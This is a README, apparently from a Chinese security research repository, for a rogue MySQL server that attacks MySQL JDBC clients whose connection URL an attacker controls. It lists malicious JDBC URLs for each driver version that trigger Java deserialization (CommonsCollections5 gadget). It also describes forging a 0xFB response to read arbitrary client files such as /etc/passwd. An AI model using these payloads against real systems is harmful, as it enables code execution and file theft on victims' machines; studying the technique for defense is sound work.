一个基于 netty-mysql-codec 开发的恶意 MySQL 服务器。出于学习 https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf 的内容而编写。
在 JDBC URL 可控的条件下攻击 MySQL JDBC Driver。
Poc 代码位于 test/java/com/github/trganda/dser
下,使用的 Gadget 为 CommonsCollections5。
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
属性名不同,变更为 statementInterceptors
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
5.1.10
及以下的5.1.X
版本:同上,但是需要连接后执行查询。
没有 ServerStatusDiffInterceptor
,不可利用。
不可用
jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true
不可用
不可用
Poc 代码位于 test/java/com/github/trganda/file
下。
MySQL 支持 load data local infile
语句读取文件发送至服务端。
load data local infile "/etc/passwd" into table foo FIELDS TERMINATED BY '\n';
通信流程如下,可以通过伪造响应内容 0xFB + 需要读取的文件路径
,让客户端读取任意文件